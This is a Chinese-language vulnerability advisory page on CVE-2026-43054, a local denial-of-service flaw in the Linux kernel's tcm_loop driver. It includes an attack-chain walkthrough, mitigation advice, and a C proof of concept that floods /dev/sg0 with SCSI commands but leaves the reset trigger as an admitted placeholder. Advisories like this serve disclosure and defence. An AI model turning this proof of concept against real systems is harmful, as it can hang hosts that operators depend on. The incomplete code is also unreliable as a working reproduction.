IPBUF安全漏洞报告
English
CVE-2026-43054 CVSS 5.5 中危

CVE-2026-43054: Linux内核tcm_loop拒绝服务漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43054
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务DoSSCSILun LeakLocal

漏洞概述

Linux内核中的scsi: target: tcm_loop模块存在一个漏洞。该漏洞源于tcm_loop_target_reset()函数在返回成功前未正确排空进行中的命令,违反了SCSI错误处理契约。这导致SCSI错误处理机制重用命令结构时,由于目标核心仍有未完成的异步工作,且memset操作清除了关键标志,导致LUN引用计数泄漏。最终,当尝试删除LUN时,系统任务会无限期挂起,导致拒绝服务。

技术细节

该漏洞位于Linux内核的tcm_loop驱动中。当发生目标重置时,tcm_loop_target_reset()函数未遵循SCSI EH(Error Handling)契约,即未等待或排空进行中的scsi_cmnd命令就直接返回SUCCESS。随后,SCSI EH层重用这些命令结构发送恢复命令(如TUR),而旧的se_cmd的异步完成工作仍在队列中。由于queuecommand中存在memset操作,会将se_lun和lun_ref_active清零,导致transport_lun_remove_cmd()跳过percpu_ref_put()调用。结果造成LUN引用计数无法归零,transport_clear_lun_ref()在等待引用释放时死锁,导致删除LUN的系统调用(如rm)永久阻塞在D-state。

攻击链分析

STEP 1
1. 触发重置
本地攻击者通过特定操作触发SCSI目标重置(例如通过发送大量导致错误的IO请求)。
STEP 2
2. 驱动违规
tcm_loop_target_reset()函数未排空进行中的命令直接返回,违反SCSI EH契约。
STEP 3
3. 结构重用与内存清零
SCSI EH重用命令结构,queuecommand中的memset清除了LUN引用标志。
STEP 4
4. 引用泄漏
transport_lun_remove_cmd()跳过引用释放操作,导致LUN引用计数泄漏。
STEP 5
5. 系统挂起
管理员尝试删除LUN时,transport_clear_lun_ref()无法完成,导致任务永久阻塞(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <scsi/sg.h> /* * Conceptual Proof of Concept for CVE-2026-43054 * This code attempts to trigger the race condition in tcm_loop_target_reset. * It requires a vulnerable kernel and access to a SCSI device. * * Steps: * 1. Open a SCSI generic device (e.g., /dev/sg0). * 2. Generate I/O traffic to create in-flight commands. * 3. Trigger a device reset (simulated here, usually requires specific timing/hardware). */ int main() { const char *device = "/dev/sg0"; int fd = open(device, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Sending commands to trigger condition...\n"); // Send multiple commands to ensure some are in-flight during reset for (int i = 0; i < 100; i++) { unsigned char cmd[6] = {0}; // TEST UNIT READY sg_io_hdr_t io_hdr = {0}; io_hdr.interface_id = 'S'; io_hdr.cmdp = cmd; io_hdr.cmd_len = 6; io_hdr.dxfer_direction = SG_DXFER_NONE; // In a real exploit, precise timing is needed to align // the reset with the memset operation. write(fd, &io_hdr, sizeof(io_hdr)); } // Triggering the reset path usually requires an error condition // or specific ioctl call which is not standard in user space. // This is a placeholder for the trigger mechanism. printf("Potential trigger sent. Check system for hung tasks.\n"); close(fd); return 0; }

影响范围

Linux Kernel (修复前版本)

防御指南

临时缓解措施
在应用补丁之前,应避免在关键系统中执行可能导致SCSI目标重置的操作,并严格限制本地用户对底层SCSI设备的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表